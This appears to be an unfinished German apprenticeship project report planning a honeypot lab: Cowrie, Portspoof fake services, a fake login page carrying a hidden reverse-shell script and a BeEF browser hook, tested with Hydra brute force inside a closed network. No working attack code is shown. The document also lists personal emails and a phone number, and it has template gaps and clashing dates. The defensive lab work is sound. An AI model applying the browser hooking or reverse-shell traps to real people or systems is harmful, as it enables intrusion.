|  |
| --- |
| **Infoscore AG** |
| Individuelle praktische Arbeit (IPA) |
| **Aufbau eines Honeypots zur Verbesserung der Netzwerksicherheit** |

|  |
| --- |
| ***Eddy Chang***  ***14.4.2025***  ***Lernender Informatiker EFZ, Plattformentwicklung***  ***Schlieren*** |



|  |
| --- |
|  |
| **Verfasser**  Eddy Lernender Informatiker EFZ, Plattformentwicklung  Schlieren, April 2025 |
|  |

Impressum

Ausbildungsort

Arvato Infoscore AG  
IT-Abteilung  
Ifangstrasse 8  
8952 Schlieren

Verfasser

Eddy Chang

Kernstrasse 11

8180 , Bülach

eddychang1b@gmail.com

Tel +41 76 505 26 85

Experten

|  |  |
| --- | --- |
| **Fachvorgesetzter** | Bruno Maissen |
| **Hauptexperte** | Pascal Christen |
| **Nebenexperte** | Stefano Natali |

WICHTIG: Rot geschriebene Textpassagen gilt es zu ersetzen und richtig zu formatieren  
  
Die Seite 13 mit dem Zeitplan unterbricht das Dokument in 3 Abschnitte, Kopf- sowie Fusszeile müssen also drei Mal einzeln bearbeitet werden.

Dokumenten-Informationen

|  |  |
| --- | --- |
| Projektname |  |
| Dokument-Version |  |
| Autor | Eddy Chang |
| Erstelldatum | 14.04.2025 |
| Zuletzt geändert | 30.04.2025 |
| Abgabetermin |  |

Versionierung

|  |  |  |  |
| --- | --- | --- | --- |
| **Version** | **Name** | **Datum** | **Änderungen und Bemerkungen** |
| 0.1 |  |  |  |
|  |  |  |  |
|  |  |  |  |
|  |  |  |  |
|  |  |  |  |
|  |  |  |  |
|  |  |  |  |
|  |  |  |  |
|  |  |  |  |
| 1.0 |  |  | Freigabe zur Bewertung |

Verteiler

|  |  |  |
| --- | --- | --- |
| **Vorname / Name** | **Funktion** | **Kontakt** |
| **Pascal Christen** | Hauptexperte | pascal@pascalchristen.ch |
| **Stefano Natali** | Zweitexperte | [stefano.natali@hotmail.com](mailto:stefano.natali@hotmail.com) |
| **Bruno Maissen** | Fachvorgesetzte | [bruno.maissen@riverty.com](mailto:bruno.maissen@riverty.com) |
| **Thomas Milz** | Berufsbildner | [thomas.milz@riverty.com](mailto:thomas.milz@riverty.com) |

Inhalt

[1 Vorwort 6](#_Toc165560851)

[1.1 Einleitung 6](#_Toc165560852)

[1.2 Zielgruppe 6](#_Toc165560853)

[1.3 Danksagung 6](#_Toc165560854)

[1.4 Darstellung und Formatierung 7](#_Toc165560855)

[2 Aufgabenstellung (gemäss PkOrg) 9](#_Toc165560856)

[2.1 Ausgangslage 9](#_Toc165560857)

[2.2 Detaillierte Aufgabenstellung 9](#_Toc165560858)

[2.3 Mittel und Methoden 9](#_Toc165560859)

[2.4 Vorkenntnisse 9](#_Toc165560860)

[2.5 Vorarbeiten 9](#_Toc165560861)

[2.6 Neue Lerninhalte 9](#_Toc165560862)

[2.7 Arbeiten der letzten 6 Monate 10](#_Toc165560863)

[2.8 Deklaration der benutzten Firmenstandards 10](#_Toc165560864)

[3 Rollen und Aufgaben 11](#_Toc165560865)

[3.1 Projektorganisation 11](#_Toc165560866)

[3.2 Organisation 11](#_Toc165560867)

[3.3 Projektmanagement 11](#_Toc165560868)

[3.4 Datensicherung 11](#_Toc165560869)

[4 Termine 12](#_Toc165560870)

[5 Zeitplan 13](#_Toc165560871)

[5.1 Meilensteine 14](#_Toc165560872)

[6 Arbeitsjournal 15](#_Toc165560873)

[6.1 Wochentag, 1. Tag, Datum 15](#_Toc165560874)

[6.2 Wochentag, 2. Tag, Datum 16](#_Toc165560875)

[6.3 Wochentag, 3. Tag, Datum 17](#_Toc165560876)

[6.4 Wochentag, 4. Tag, Datum 18](#_Toc165560877)

[6.5 Wochentag, 5. Tag, Datum 19](#_Toc165560878)

[6.6 Wochentag, 6. Tag, Datum 20](#_Toc165560879)

[6.7 Wochentag, 7. Tag, Datum 21](#_Toc165560880)

[6.8 Wochentag, 8. Tag, Datum 22](#_Toc165560881)

[6.9 Wochentag, 9. Tag, Datum 23](#_Toc165560882)

[6.10 Wochentag, 10. Tag, Datum 24](#_Toc165560883)

[7 Sitzungsprotokolle 25](#_Toc165560884)

[7.1 Erster Expertenbesuch 25](#_Toc165560885)

[7.2 Zweiter Expertenbesuch 25](#_Toc165560886)

[8 Kurzfassung 27](#_Toc165560887)

[8.1 Ausgangslage 27](#_Toc165560888)

[8.2 Umsetzung 27](#_Toc165560889)

[8.3 Ergebnis 27](#_Toc165560890)

[9 Projektumsetzung 28](#_Toc165560891)

[9.1 Informieren 28](#_Toc165560892)

[9.2 Planen 28](#_Toc165560893)

[9.3 Entscheiden 28](#_Toc165560894)

[9.4 Realisieren 28](#_Toc165560895)

[9.5 Kontrollieren 28](#_Toc165560896)

[9.6 Auswerten 30](#_Toc165560897)

[10 Verzeichnisse 31](#_Toc165560898)

[10.1 Quellenverzeichnis 31](#_Toc165560899)

[10.2 Abbildungsverzeichnis 31](#_Toc165560900)

[10.3 Tabellenverzeichnis 31](#_Toc165560901)

[11 Glossar 32](#_Toc165560902)

# Vorwort

## Einleitung

Die Die Individuelle Praktische Arbeit (IPA) ist ein zentraler Bestandteil des Qualifikationsverfahrens im Lehrgang zum Informatiker EFZ, Fachrichtung Plattformentwicklung. Die Arbeit wird innerhalb von **10 aufeinanderfolgenden Arbeitstagen** durchgeführt.

Der Titel meiner Arbeit lautet: **„Aufbau eines Honeypots zur Verbesserung der Netzwerksicherheit“**.  
Die IPA beginnt am **14. März 2025** und endet am **30. März 2025**.

Die Dokumentation gliedert sich in drei Hauptteile:

**Teil 1**: Beschreibung des Umfelds, der Ausgangslage sowie der Aufgabenstellung

**Teil 2**: Detaillierte Beschreibung der Umsetzung, eingesetzter Technologien und Resultate

**Teil 3**: Anhang mit Zusatzmaterialien, Konfigurationsdateien und ergänzenden Information

## Zielgruppe

Diese Arbeit richtet sich an Personen mit fundierten Grundkenntnissen in Informatik, insbesondere im Bereich Systemtechnik und Netzwerksicherheit. Folgende Vorkenntnisse erleichtern das Verständnis der technischen Umsetzung:

* **Linux-Systemadministration**  
  → Grundlegende Befehle, Benutzer- und Diensteverwaltung, Umgang mit Paketmanagern
* **Netzwerktechnologien**  
  → IP-Adressierung, Ports, Firewalls, TCP/IP-Protokolle
* **Sicherheitskonzepte**  
  → Honeypot-Technologien, Penetration Testing, Logging und Monitoring

Darüber hinaus ist ein Verständnis der Projektmethodik **IPERKA** für den Aufbau und die Struktur der Arbeit von Vorteil.

## Danksagung

Für die Unterstützung bei der Realisierung dieser Individuellen Praktischen Arbeit bedanke ich mich herzlich bei meiner verantwortlichen Fachkraft **Bruno Maissen** für seine Zeit, sein Engagement und die wertvollen Rückmeldungen.

Mein besonderer Dank gilt ausserdem meinen kollegen, insbesondere **Mohammed Axmed**, der mich bei technischen Rückfragen sowie beim Testen einzelner Komponenten aktiv unterstützt haben.

## Darstellung und Formatierung

In der Dokumentation werde ich teilweise Anglizismen verwenden, falls es keine eindeutige deutsche Übersetzung gibt oder im Kontext eines Entwicklers das Englische Wort gängiger ist. Einzelne technische Fachbegriffe sind im Glossar am Ende des Dokumentes erklärt.

|  |  |
| --- | --- |
| Schreibweise | Beschreibung |
| Text | Normaler Text |
| Text | Code |
| **Text** | Hervorhebungen |
| [Text](file:///C:/Users/oizmlj/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/Q6RV8D03/link.com) | Links |

|  |
| --- |
|  |
| Teil 1:  Umfeld und Ablauf |
|  |
|  |
|  |

# Aufgabenstellung (gemäss PkOrg)

Die nachfolgende Aufgabenstellung wurde von der zuständigen Fachkraft im Planungsportal des Qualifikationsverfahrens (PkOrg) erfasst. Sie bildet die verbindliche Grundlage für die Durchführung dieser Individuellen Praktischen Arbeit. Inhaltlich wurde sie unverändert übernommen; lediglich minimale Anpassungen am Layout wurden vorgenommen, um die Lesbarkeit innerhalb dieser Dokumentation zu verbessern.

## Ausgangslage

In einem zunehmend vernetzten Umfeld ist es essenziell, das Bewusstsein für Cyberangriffe zu schärfen und Sicherheitsmassnahmen proaktiv zu optimieren. Während klassische Sicherheitslösungen wie Firewalls und Antivirensoftware Schutz bieten, bleiben viele Angriffe unbemerkt oder werden erst spät erkannt. Um sowohl Angriffe frühzeitig zu identifizieren als auch das Verständnis für Angriffsmuster innerhalb des Unternehmens zu fördern, wird ein Honeypot implementiert.

Diese Umgebung ermöglicht es, reale Angriffe zu simulieren, die von automatisierten Scans bis hin zu gezielten Einbruchsversuchen reichen. Neben der technischen Früherkennung von Bedrohungen dient das Projekt auch der Sensibilisierung der Mitarbeitenden. Durch die Analyse gesammelter Daten können gezielte Schulungen entwickelt werden, um Risiken im Umgang mit IT-Systemen zu minimieren.

## Detaillierte Aufgabenstellung

Ziel der IPA ist es, auf einem Rock4C-Board eine realistische, netzwerkbasierte Honeypot-Umgebung zur Analyse von Angriffsmustern zu implementieren. Diese Umgebung dient als isoliertes Testfeld zur Untersuchung von Angreifer verhalten, zur Verbesserung des Security-Awareness und zur Visualisierung sicherheitsrelevanter Logdaten.

Im Rahmen dieser IPA bezeichnet Red Teaming die kontrollierte, simulierte Rolle eines Angreifers innerhalb eines geschlossenen Testnetzwerks. Dabei werden gezielte, aber reale Angriffstechniken (z. B. Brute-Force, Web-Exploit, Client-Exploitation via BeEF) eingesetzt, um die Effektivität der Honeypot-Fallen und der Erkennungsmethoden zu validieren. Diese Aktivitäten sind kein Penetrationstest auf produktive Systeme, sondern gezielte Tests gegen das künstlich geschaffene Angriffsziel (Honeypot).

1. Installation und Grundhärtung des Systems

o Ziel: Rock4C läuft mit aktuellem Linux OS; alle relevanten Pakete (Python, Docker, iptables, Webmin) sind installiert.

o Nachweis: Systemprotokolle, installierte Pakete, Test-Output (iptables-L)

2. Einrichtung Cowrie-Honeypot

o Ziel: Cowrie läuft stabil im Hintergrund auf Port 2222 mit aktivem Logging.

o KPI: Alle erfolgreichen und fehlgeschlagenen Loginversuche (über SSH oder Telnet) werden in cowrie.log vollständig erfasst.

o Testfall: Brute-Force-Test mit Hydra. Erwartung: 100 % der Loginversuche erscheinen im Log.

3. Portweiterleitung und Firewallkonfiguration

o Ziel: Echte SSH-Anfragen auf Port 22 werden über iptables (PREROUTING) auf Port 2222 umgeleitet.

o Test: nmap -p 22 <target> zeigt Cowrie-Response statt echte Shell.

4. Integration von Portspoof

o Ziel: Mindestens 15 Fake-Dienste (FTP, RDP, MySQL, HTTP) werden über Portspoof simuliert.

o KPI: Ein Netzwerkscan ergibt zahlreiche offene Ports. Einige Dienste zeigen scheinbar authentische Banner, welche der Kandidat im Rahmen des Projekts analysieren soll.

o Test: Angreifer erkennt nicht direkt, welcher Dienst real ist.

5. Webbasierte Täuschung (Fake Login & Backups)

o Ziel: Mindestens ein Fake-Login-Formular inkl. versteckter Reverse-Shell (z. B. restore\_ssh.sh) wird bereitgestellt.

o KPI: Ein Zugriff und die Datei ausführauf einen manipulierten Pfad (/backups/…) könnte eine ungewöhnliche Reaktion auslösen. Der Kandidat soll diesen untersuchen und dokumentieren, wie dieser sicherheitsrelevant ist.

6. BeEF-Einsatz zur Demonstration clientseitiger Schwachstellen

o Ziel: Ein HTML-Login-Formular enthält einen BeEF-Hook (hook.js).

o KPI: Bei Zugriff über Browser wird die Session im BeEF UI sichtbar.

o Test: Browser-Opfer erscheint in der Zombie-Liste.

7. Visualisierung der Angriffsdaten via ELK-Stack

o Der Kandidat richtet einen eigenen ELK-Stack (Elasticsearch, Logstash, Kibana) lokal auf einem separaten System ein, um Angriffe zentralisiert auswerten zu können.

o Ziel: Alle Logs (Cowrie, Apache, Filebeat) werden zentral über Logstash und Elasticsearch gesammelt.

o KPI: Dashboard in Kibana zeigt Loginversuche, Reverse-Shell-Aktivität und BeEF-Events als Timeline.

8. Abschlusstest mit kontrollierten Angriffen

o Ziel: Angriffe aus Kali-Linux-VM (Brute-Force, Web-Zugriff, Port-Scan, Exploit) werden vom System korrekt erkannt und vollständig geloggt.

o KPI: 100 % der durchgeführten Angriffe erscheinen im System, keine kritische Lücke bleibt unentdeckt.

## Mittel und Methoden

Hardware

• Rock4C-Board (dies ist ein Bausatz der als Vorarbeit bereits zusammengebaut und angeschlossen wurde)

• Netzteil, SD-Karte, Ethernet-Kabel

• Externer Rechner (Angreifer/Kali) zur Simulation

Software

• Linux OS (Ubuntu Server)

• Cowrie (SSH-Honeypot)

• Portspoof (Fake Services)

• Apache + PHP (Fake-Webserver)

• BeEF (Client-Hook Framework)

• Docker & Docker Compose

• ELK Stack (Elasticsearch, Logstash, Kibana)

• Filebeat (Logagent)

• Python 3.9 inkl. Pip, venv, Build Tools

• Webmin (Firewall-GUI)

• Iptables (manuell und persistent)

• Optional: Flask (für Logübertragung via GitHub API)

Methoden

• Schrittweise Einrichtung der Umgebung nach IPERKA

• Anwendung von Red Teaming-Strategien zur Verhaltensanalyse

• Einsatz von Penetrationstest-Werkzeugen zur Validierung

• Documentation gemäss Vorgaben der PK19

• Visualisierung, Bewertung, Reflexion aller Angreiferaktivitäten

• Vergleich mit echten Szenarien aus der Sicherheitsforschung

Das Vorgehen umfasst die schrittweise Installation und Konfiguration der einzelnen Komponenten, gefolgt von gezielten Tests mit Tools wie nmap oder Brute-Force-Skripten. Danach werden gezielt Angriffsszenarien durchgespielt, um das Verhalten der Honeypot-Umgebung zu beobachten und auszuwerten. Alle relevanten Daten werden für die spätere Analyse aufbereitet.

### Hardware

### Software

### Informationsquellen

## Vorkenntnisse

Der Kandidat bringt folgende Fach- und Methodenkenntnisse mit:

• Grundkenntnisse in Linux-Systemadministration (Ubuntu, SSH, Terminal)

• Erfahrung im Umgang mit iptables und Portweiterleitung

• Erste praktische Erfahrung mit Honeypot-Systemen (Testumgebung mit Cowrie)

• Basiswissen in Python (z. B. venv, Pip, einfache Automatisierungen)

• Erfahrung im Umgang mit Apache, Webserver-Konfiguration und einfachen PHP-Scripts

• Grundverständnis von Netzwerkanalyse (TCP/UDP, Ports, Protokolle)

• Erfahrung mit GitHub (Push via API)

• Grundkenntnisse Rock4C-Board und Arm64-Architektur

• Fähigkeit zur Problemanalyse, Ausdauer bei Fehlersuche

## Vorarbeiten

Folgende Vorarbeiten wurden vor IPA-Beginn vom Kandidaten durchgeführt:

• Ports auf Meraki-Switch freigegeben (SSH, HTTP, Webmin, BeEF, ELK)

• Kali Linux VM aufgesetzt mit Tools (Hydra, Nmap, Gobuster)

• Rock4C-Board Starter-Kit zusammengebaut und am Testarbeitsplatz angeschlossen inkl. Netzwerkanschluss

• Dokumentationsvorlage vorbereitet (gemäß PK19-Vorgabe)

## Neue Lerninhalte

Im Verlauf des Projekts wird das Wissen über Honeypot-Technologien vertieft. Die Funktionsweise von BeEF wird erprobt, um Angriffe auf Browser zu verstehen. Zudem werden Reverse-Shell-Skripte entwickelt und getestet, um das Verhalten von Angreifern nach einer erfolgreichen Kompromittierung zu simulieren. Ein weiterer Schwerpunkt liegt auf der zentralisierten Log-Verwaltung mit ELK oder optional Flask, um einen umfassenden Überblick über die gesammelten Daten zu erhalten.

## Arbeiten der letzten 6 Monate

In den letzten sechs Monaten habe ich mich mit Server-Administration, Update-Management und grundlegenden Firewall-Regeln beschäftigt. Zusätzlich habe ich im IT-Support gearbeitet, Sicherheitsfragen bearbeitet und mich mit Passwort-Richtlinien auseinandergesetzt.

Nebenbei habe ich erste Erfahrungen mit dem Aufbau und der Konfiguration eines Honeypots gesammelt, da ich ihn bereits als Schulprojekt umgesetzt habe. Dort konnte ich Tests durchführen, Angriffsmethoden analysieren und verstehen, wie man solche Systeme absichert. Diese Erfahrungen helfen mir jetzt, das Projekt auf einem höheren Niveau umzusetzen.

## Deklaration der benutzten Firmenstandards

# Rollen und Aufgaben

Bei diesem Projekt sind mehrere Personen in verschiedenen Funktionen involviert. Der Kandidat übernimmt während der IPA mehrere Aufgaben, da die Durchführung der Aufgabenstellung vollständig in seiner Verantwortung liegt.

## Projektorganisation

**Projektorganisation:**

|  |  |  |
| --- | --- | --- |
| Kürzel | Funktion | Beschreibung |
| **AA** | **Auftraggeber** | Die Arvato Infoscore AG stellt als Ausbildungsbetrieb das Projektumfeld, die Ressourcen sowie die technische Infrastruktur bereit. |
| **BM** | **Verantwortliche Fachkraft** | Bruno Maissen betreut die IPA inhaltlich und organisatorisch im Betrieb, validiert die Aufgabenstellung und unterstützt bei Rückfragen. |
| **PC** | **Hauptexperte** | Pascal Christen ist für die Bewertung der IPA verantwortlich (inkl. Bericht, Präsentation und Fachgespräch). |
| **SN** | **Nebenexperte** | Stefano Natali unterstützt die Bewertung und bringt eine Zweitmeinung ein, insbesondere bei Präsentation und Gespräch. |
| **TM** | **Lehrmeister** | Thomas Milz begleitet den Lernenden im betrieblichen Alltag und steht bei technischen oder organisatorischen Fragen unterstützend zur Verfügung. |
| **EC** | **Lernender / Projektverantwortlicher** | Eddy Chang ist verantwortlich für die vollständige Planung, Umsetzung, Dokumentation und Präsentation der IPA. |

## Organisation

1. **3.2 Organisation**

Für die Durchführung des Projekts orientiere ich mich an der **IPERKA-Methode** (Informieren, Planen, Entscheiden, Realisieren, Kontrollieren, Auswerten). Zunächst erstelle ich eine **Aufgaben- und Zeitplanung** mit Meilensteinen, in der alle relevanten Schritte wie Systemaufbau, Honeypot-Installation, Portweiterleitung, Logging und abschließende Tests festgehalten werden.

* **Daily Log**: Ich notiere meine Fortschritte täglich in einem Arbeitsjournal und dokumentiere dabei **Ist-Zeit**, **erledigte Tätigkeiten**, aufgetretene **Probleme** sowie **Lösungswege**.
* **Kommunikation**: Bei Unsicherheiten oder Fragen tausche ich mich direkt mit meinem Lehrmeister (TM) bzw. der verantwortlichen Fachkraft (BM) aus. Für Themen rund um Bewertung und Formalitäten stehen mir Hauptexperte (PC) und Nebenexperte (SN) zur Verfügung.
* **Versionierung & Datensicherung**: Alle Skripte, Konfigurationsdateien sowie Zwischenstände der IPA-Dokumentation sichere ich täglich in einem **Git-Repository** (intern) und halte zusätzlich manuelle Backups auf dem Firmenserver.
* **Meetings & Rückfragen**: Ein wöchentlicher kurzer Abgleich mit BM und TM gibt mir Feedback, ob ich zeitlich und inhaltlich auf Kurs bin. So können potenzielle Blockaden rasch erkannt und gelöst werden.
* **Dokumentation**: Sämtliche Ergebnisse (Screenshots, Testprotokolle, Log-Auszüge) halte ich in der finalen IPA-Dokumentation fest, um den Projektfortschritt und die getroffenen Entscheidungen nachvollziehbar zu machen.

### Arbeitsplatz

Der Arbeitsplatz des Kandidaten befand sich an einem dedizierten Entwicklungsarbeitsplatz innerhalb der IT-Abteilung der Arvato Infoscore AG in Schlieren. Zur Verfügung standen ein leistungsfähiges Laptop mit Linux-Betriebssystem, ein separater Monitor sowie ein vollständig in das Unternehmensnetzwerk integriertes Rock4C-Board.

Zusätzlich wurden folgende Arbeitsmittel eingesetzt:

* Terminal-Emulator (z. B. Terminator / Windows Terminal)
* Visual Studio Code zur Konfigurationsbearbeitung und Dokumentation
* Git zur lokalen Versionierung technischer Dateien
* Interne Netzwerkinfrastruktur zur Simulation realistischer Angriffsszenarien

Ein Foto des Arbeitsplatzes befindet sich im Anhang (siehe Anhang 3.X). FOTO ANHÄNGEN

## Projektmanagement

Für die Planung und Umsetzung dieser Individuellen Praktischen Arbeit orientierte ich mich an der bewährten Projektmethodik **IPERKA**. Diese strukturierte Vorgehensweise half mir dabei, den gesamten Ablauf in logisch aufeinander aufbauende Phasen zu unterteilen und den Überblick über alle Teilaufgaben zu behalten.

* **I – Informieren:**  
  Zu Beginn verschaffte ich mir einen umfassenden Überblick über die Projektanforderungen, die vorhandene Infrastruktur (z. B. Rock4C, ELK, Netzwerkumgebung) und die Bewertungskriterien laut PKOrg. Dabei war es mir wichtig, sowohl die technischen Rahmenbedingungen als auch die formellen Vorgaben zu verstehen.
* **P – Planen:**  
  Anschliessend legte ich die einzelnen Arbeitsschritte fest und erstellte eine grobe Zeitplanung. Dabei achtete ich darauf, Pufferzeiten für unerwartete Probleme einzuplanen – insbesondere bei der Integration von sicherheitsrelevanten Komponenten. Die Aufgaben wurden sinnvoll priorisiert, damit kritische Elemente frühzeitig abgeschlossen werden konnten.
* **E – Entscheiden:**  
  In dieser Phase entschied ich mich für die konkret einzusetzenden Tools, Frameworks und Technologien. Die Wahl fiel unter anderem auf Cowrie als SSH-Honeypot, Portspoof zur Täuschung von Services und BeEF zur Demonstration von Browser-Schwachstellen. Parallel dazu plante ich den Einsatz eines zentralen Log-Management-Stacks auf Basis von ELK.
* **R – Realisieren:**  
  Während der Umsetzungsphase wurden die geplanten Komponenten installiert, konfiguriert und getestet. Ich dokumentierte alle Konfigurationsschritte, damit sie nachvollziehbar bleiben – sowohl für die spätere Evaluation als auch für die eigene Fehleranalyse.
* **K – Kontrollieren:**  
  Die einzelnen Systemkomponenten wurden regelmässig überprüft, insbesondere hinsichtlich Funktionalität, Logging und Performance. Ich führte gezielte Testszenarien durch, um sicherzustellen, dass etwaige Angriffe wie gewünscht erkannt und protokolliert werden.
* **A – Auswerten:**  
  Am Ende der IPA wurden sämtliche Erkenntnisse zusammengetragen und ausgewertet. Dabei reflektierte ich sowohl technische Erfolge als auch Herausforderungen im Projektverlauf. Die Resultate flossen direkt in die Dokumentation ein.

Die Anwendung von IPERKA half mir, mein Vorgehen durchgehend strukturiert zu halten und jederzeit zu wissen, wo ich im Projektverlauf stehe. Gleichzeitig war die Methode flexibel genug, um auf unerwartete Probleme reagieren zu können.

## Datensicherung

Wo wurden die Daten gesichert?

Wie ist die Wiederherstellung gesichert? Testen!

Screenshot der Ordnerstuktur einfügen

# Termine

|  |  |  |
| --- | --- | --- |
| Termin | Datum | Uhrzeit |
| IPA Start | 14.04.2025 |  |
| Erster Expertenbesuch | 16.04.2025 |  |
| Zweiter Expertenbesuch |  |  |
| IPA Abgabe | 30.14.2025 |  |
| IPA-Präsentation |  |  |

Tabelle 1: Termine

# Zeitplan

## Meilensteine

### Meilenstein 1

### Meilenstein 2

### Meilenstein 3

### Meilenstein 4

# Arbeitsjournal

Die normale Arbeitszeit beträgt 8.4 Stunden. Wenn über diese Arbeitszeit gearbeitet wurde, war es Überzeit.

## Montag, 1. Tag, 14.04.2025

|  |
| --- |
| Tagesziele |
| * Aufgabenstellung & Ziel grob verstehen * Zeitplan mit Struktur und Farben erstellen * Projektumfeld analysieren (Hardware, Tools) * Risiken erkennen & erste Systemidee skizzieren |

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| Geplante Tätigkeiten | | | | | |
| Nr. | Tätigkeit / Arbeitspaket | Zeit [h] | | Status [%] | **P**robleme / **U**nklarheiten |
| Soll | Ist |
| **1.1** | Projektziel & Aufgabenstellung verstehen | 1 | 1 | 100% |  |
| **1.2** | Rock4C Kompatibilität prüfen (OS, Hardware) | 0.5 | 1 | 100% |  |
| **1.3** | Cowrie, BeEF, ELK etc. recherchieren | 1 | 1 | 100% |  |
| **2.1** | Zeitplan erstellen | 2 | 3 | 100% |  |
| **2.2** | Risikoanalyse & Risikomatrix erstellen | 1 | 0 | 0% |  |
| **D** | IPA-Bericht & Tagesjournal erstellen | 1 | 3 | 20% |  |
|  | Tagessaldo | 8 | 8 |  |  |

|  |  |
| --- | --- |
| Probleme / Unklarheiten | |
| Nr. |  |
| **U1** |  |
| Lösung |
|  |
| **Reflexion** | |
| Der Fokus heute lag auf Planung und Vorbereitung. Ich habe den vollständigen Zeitplan erstellt, inklusive Farbstruktur, Meilensteinen und realistischer Verteilung der Aufgaben über 10 Tage. Das hat deutlich mehr Zeit gebraucht als gedacht – vor allem, weil ich alles so gestalten wollte, dass es nicht nur für mich logisch ist, sondern auch für die Experten nachvollziehbar.  Die Tools habe ich parallel recherchiert. Cowrie ist gesetzt, weil es strukturierte JSON-Logs liefert, die direkt ins ELK-System übernommen werden können. BeEF wird eingesetzt, um Client-Schwachstellen sichtbar zu machen und Aktionen wie das Setzen von Hooks im Browser zu demonstrieren. | |

## Dienstag, 2. Tag, 15.04.2025

|  |
| --- |
| Tagesziele |
|  |

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| Geplante Tätigkeiten | | | | | |
| Nr. | Tätigkeit / Arbeitspaket | Zeit [h] | | Status [%] | **P**robleme / **U**nklarheiten |
| Soll | Ist |
|  | Risikoanalyse & Risikomatrix erstellen |  |  |  |  |
|  | Toolvergleich vorbereiten | 0.5 | 0.5 |  |  |
|  | Datenflussdiagramm (Logs: Honeypot → Filebeat → ELK) | 1 | 1 |  |  |
|  | Expertenbesuch 1 vorbereiten | 1 | 1 |  |  |
|  | Entscheidung zu Hardwareauswahl | 1 | 1 |  |  |
|  | Entscheidung zu einem Honeypot-Framework | 1 | 1 |  |  |
|  | Entscheidung zum Client-Side-Exploit-Modul | 1 | 1 |  |  |
|  | Entscheidung zum Logweiterleitungsdienst | 1 | 1 |  |  |
|  | Entscheidung zur zentralen Loganalyse-Plattform | 1 | 1 |  |  |

|  |  |
| --- | --- |
| Probleme / Unklarheiten | |
| Nr. |  |
| **U1** |  |
| Lösung |
|  |
| **Reflexion** | |
|  | |

## Mittwoch, 3. Tag, 16.04.2025

|  |
| --- |
| Tagesziele |
|  |

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| Geplante Tätigkeiten | | | | | |
| Nr. | Tätigkeit / Arbeitspaket | Zeit [h] | | Status [%] | **P**robleme / **U**nklarheiten |
| Soll | Ist |
|  | Rock4C Setup: Ubuntu, SSH, Docker aufsetzen |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
| **E** | Expertenbesuch |  |  |  |  |

|  |  |
| --- | --- |
| Probleme / Unklarheiten | |
| Nr. |  |
| **U1** |  |
| Lösung |
|  |
| **Reflexion** | |
|  | |

## Wochentag, 4. Tag, Datum

|  |
| --- |
| Tagesziele |
|  |

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| Geplante Tätigkeiten | | | | | |
| Nr. | Tätigkeit / Arbeitspaket | Zeit [h] | | Status [%] | **P**robleme / **U**nklarheiten |
| Soll | Ist |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |

|  |  |
| --- | --- |
| Probleme / Unklarheiten | |
| Nr. |  |
| **U1** |  |
| Lösung |
|  |
| **Reflexion** | |
|  | |

## Wochentag, 5. Tag, Datum

|  |
| --- |
| Tagesziele |
|  |

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| Geplante Tätigkeiten | | | | | |
| Nr. | Tätigkeit / Arbeitspaket | Zeit [h] | | Status [%] | **P**robleme / **U**nklarheiten |
| Soll | Ist |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |

|  |  |
| --- | --- |
| Probleme / Unklarheiten | |
| Nr. |  |
| **U1** |  |
| Lösung |
|  |
| **Reflexion** | |
|  | |

## Wochentag, 6. Tag, Datum

|  |
| --- |
| Tagesziele |
|  |

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| Geplante Tätigkeiten | | | | | |
| Nr. | Tätigkeit / Arbeitspaket | Zeit [h] | | Status [%] | **P**robleme / **U**nklarheiten |
| Soll | Ist |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |

|  |  |
| --- | --- |
| Probleme / Unklarheiten | |
| Nr. |  |
| **U1** |  |
| Lösung |
|  |
| **Reflexion** | |
|  | |

## Wochentag, 7. Tag, Datum

|  |
| --- |
| Tagesziele |
|  |

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| Geplante Tätigkeiten | | | | | |
| Nr. | Tätigkeit / Arbeitspaket | Zeit [h] | | Status [%] | **P**robleme / **U**nklarheiten |
| Soll | Ist |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |

|  |  |
| --- | --- |
| Probleme / Unklarheiten | |
| Nr. |  |
| **U1** |  |
| Lösung |
|  |
| **Reflexion** | |
|  | |

## Wochentag, 8. Tag, Datum

|  |
| --- |
| Tagesziele |
|  |

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| Geplante Tätigkeiten | | | | | |
| Nr. | Tätigkeit / Arbeitspaket | Zeit [h] | | Status [%] | **P**robleme / **U**nklarheiten |
| Soll | Ist |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
|  |  |  |  |  |  |

|  |  |
| --- | --- |
| Probleme / Unklarheiten | |
| Nr. |  |
| **U1** |  |
| Lösung |
|  |
| **Reflexion** | |
|  | |

## Wochentag, 9. Tag, Datum

|  |
| --- |
| Tagesziele |
|  |

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| Geplante Tätigkeiten | | | | | |
| Nr. | Tätigkeit / Arbeitspaket | Zeit [h] | | Status [%] | **P**robleme / **U**nklarheiten |
| Soll | Ist |
|  |  |  |  |  |  |
|  |  |  |  |  |  |
